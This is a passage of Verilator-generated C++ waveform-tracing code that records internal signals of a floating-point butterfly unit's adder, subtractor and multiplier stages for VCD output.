>> 0x17U))),8);
vcdp->fullQuad (c+149,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a))))),48);
vcdp->fullQuad (c+151,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b))))),48);
vcdp->fullBus (c+153,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff),8);
vcdp->fullBit (c+154,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U)))))));
vcdp->fullBit (c+155,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U)))))));
vcdp->fullQuad (c+156,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a))))))),48);
vcdp->fullQuad (c+158,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b))))))),48);
vcdp->fullBus (c+160,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ze),8);
vcdp->fullQuad (c+161,((VL_ULL(0xffffffffffff)
& ((((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1a)))))
+ (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1a
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1b)))))))),48);
vcdp->fullBus (c+163,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__ADD__DOT__zm),25);
vcdp->fullBus (c+164,((0x7fffffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__ADD__DOT__zm)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__ADD__DOT__zm
>> 1U)
: vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__ADD__DOT__zm))),23);
vcdp->fullBus (c+165,((0xffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__ADD__DOT__zm)
? ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ze))
: (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ze)))),8);
vcdp->fullBus (c+138,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t1a)),32);
vcdp->fullBus (c+139,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t1b)),32);
vcdp->fullQuad (c+166,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__am_adj),48);
vcdp->fullQuad (c+168,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__bm_adj),48);
vcdp->fullQuad (c+170,((VL_ULL(0xffffffffffff)
& ((vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__am_adj
>= vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__bm_adj)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__am_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__bm_adj)
: (vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__bm_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__am_adj)))),48);
vcdp->fullBus (c+172,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm),24);
vcdp->fullBus (c+173,((0xffU & ((0x800000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0U : ((0x400000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 1U
:
((0x200000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 2U
:
((0x100000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 3U
:
((0x80000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 4U
:
((0x40000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 5U
:
((0x20000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 6U
:
((0x10000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 7U
:
((0x8000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 8U
:
((0x4000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 9U
:
((0x2000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xaU
:
((0x1000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xbU
:
((0x800U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xcU
:
((0x400U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xdU
:
((0x200U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xeU
:
((0x100U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0xfU
:
((0x80U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x10U
:
((0x40U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x11U
:
((0x20U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x12U
:
((0x10U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x13U
:
((8U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x14U
:
((4U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x15U
:
((2U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x16U
:
((1U
& vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm)
? 0x17U
: 0x18U)))))))))))))))))))))))))),8);
vcdp->fullBus (c+174,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__zm_final),23);
vcdp->fullBus (c+175,(vlTOPp->v__DOT__BFLY0__DOT__sub_t1__DOT__FPU__DOT__SUB__DOT__ze_final),8);
vcdp->fullBus (c+133,(vlTOPp->v__DOT__BFLY0__DOT__t1a),32);
vcdp->fullQuad (c+177,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in2_data
>> 0x20U))))))),48);
vcdp->fullQuad (c+179,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab),48);
vcdp->fullBit (c+181,((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x2fU)))));
vcdp->fullBus (c+182,((0xffffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x17U))))),24);
vcdp->fullBus (c+183,((0x7fffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x17U))))),23);
vcdp->fullBus (c+184,((0xffU & (IData)((vlTOPp->v__DOT__BFLY0_in2_data
>> 0x37U)))),9);
vcdp->fullBus (c+185,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ae_plus_be),9);
vcdp->fullBus (c+186,((0x1ffU & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ae_plus_be)
- (IData)(0x7fU)))),9);
vcdp->fullBus (c+187,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ze_norm),9);
vcdp->fullBus (c+188,((0xffU & (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ze_norm))),8);
vcdp->fullBit (c+189,(((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (0x7fU > (0x1ffU
& ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ae_plus_be))))
: (0x7fU > (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ae_plus_be)))));
vcdp->fullBit (c+190,((1U & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1a__DOT__MUL__DOT__ze_norm)
>> 8U))));
vcdp->fullBus (c+134,(vlTOPp->v__DOT__BFLY0__DOT__t1b),32);
vcdp->fullQuad (c+192,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in2_data)))))),48);
vcdp->fullQuad (c+194,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab),48);
vcdp->fullBit (c+196,((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x2fU)))));
vcdp->fullBus (c+197,((0xffffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x17U))))),24);
vcdp->fullBus (c+198,((0x7fffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x17U))))),23);
vcdp->fullBus (c+199,((0xffU & (IData)((vlTOPp->v__DOT__BFLY0_in2_data
>> 0x17U)))),9);
vcdp->fullBus (c+200,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ae_plus_be),9);
vcdp->fullBus (c+201,((0x1ffU & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ae_plus_be)
- (IData)(0x7fU)))),9);
vcdp->fullBus (c+202,(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ze_norm),9);
vcdp->fullBus (c+203,((0xffU & (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ze_norm))),8);
vcdp->fullBit (c+204,(((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (0x7fU > (0x1ffU
& ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ae_plus_be))))
: (0x7fU > (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ae_plus_be)))));
vcdp->fullBit (c+205,((1U & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t1b__DOT__MUL__DOT__ze_norm)
>> 8U))));
vcdp->fullBus (c+208,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__zadd),32);
vcdp->fullBus (c+209,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__zsub),32);
vcdp->fullBit (c+210,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x1fU)))));
vcdp->fullBit (c+211,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x1fU)))));
vcdp->fullBus (c+212,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__zraw),32);
vcdp->fullBit (c+213,(0U));
vcdp->fullBit (c+214,(0U));
vcdp->fullBus (c+215,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U))),8);
vcdp->fullBus (c+216,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U))),8);
vcdp->fullQuad (c+217,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a))))),48);
vcdp->fullQuad (c+219,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b))))),48);
vcdp->fullBus (c+221,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff),8);
vcdp->fullBit (c+222,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U)))))));
vcdp->fullBit (c+223,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U)))))));
vcdp->fullQuad (c+224,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a))))))),48);
vcdp->fullQuad (c+226,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b))))))),48);
vcdp->fullBus (c+228,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ze),8);
vcdp->fullQuad (c+229,((VL_ULL(0xffffffffffff)
& ((((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2a)))))
+ (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2b
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2a
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2b)))))))),48);
vcdp->fullBus (c+231,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__zm),25);
vcdp->fullBus (c+232,((0x7fffffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__zm)
? (vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__zm
>> 1U)
: vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__zm))),23);
vcdp->fullBus (c+233,((0xffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__zm)
? ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ze))
: (IData)(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__ADD__DOT__ze)))),8);
vcdp->fullBus (c+206,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t2a)),32);
vcdp->fullBus (c+207,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t2b)),32);
vcdp->fullQuad (c+234,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__am_adj),48);
vcdp->fullQuad (c+236,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__bm_adj),48);
vcdp->fullQuad (c+238,((VL_ULL(0xffffffffffff)
& ((vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__am_adj
>= vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__bm_adj)
? (vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__am_adj
- vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__bm_adj)
: (vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__bm_adj
- vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__am_adj)))),48);
vcdp->fullBus (c+240,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm),24);
vcdp->fullBus (c+241,((0xffU & ((0x800000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0U : ((0x400000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 1U
:
((0x200000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 2U
:
((0x100000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 3U
:
((0x80000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 4U
:
((0x40000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 5U
:
((0x20000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 6U
:
((0x10000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 7U
:
((0x8000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 8U
:
((0x4000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 9U
:
((0x2000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xaU
:
((0x1000U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xbU
:
((0x800U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xcU
:
((0x400U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xdU
:
((0x200U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xeU
:
((0x100U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0xfU
:
((0x80U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x10U
:
((0x40U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x11U
:
((0x20U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x12U
:
((0x10U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x13U
:
((8U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x14U
:
((4U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x15U
:
((2U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x16U
:
((1U
& vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm)
? 0x17U
: 0x18U)))))))))))))))))))))))))),8);
vcdp->fullBus (c+242,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__zm_final),23);
vcdp->fullBus (c+243,(vlTOPp->v__DOT__BFLY0__DOT__add_t2__DOT__FPU__DOT__SUB__DOT__ze_final),8);
vcdp->fullBus (c+176,((IData)((vlTOPp->v__DOT__BFLY0_in2_data
>> 0x20U))),32);
vcdp->fullBus (c+136,(vlTOPp->v__DOT__BFLY0__DOT__t2a),32);
vcdp->fullQuad (c+244,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab),48);
vcdp->fullBit (c+246,((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x2fU)))));
vcdp->fullBus (c+247,((0xffffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x17U))))),24);
vcdp->fullBus (c+248,((0x7fffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x17U))))),23);
vcdp->fullBus (c+249,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ae_plus_be),9);
vcdp->fullBus (c+250,((0x1ffU & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ae_plus_be)
- (IData)(0x7fU)))),9);
vcdp->fullBus (c+251,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ze_norm),9);
vcdp->fullBus (c+252,((0xffU & (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ze_norm))),8);
vcdp->fullBit (c+253,(((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ab
>> 0x2fU)))
? (0x7fU > (0x1ffU
& ((IData)(1U)
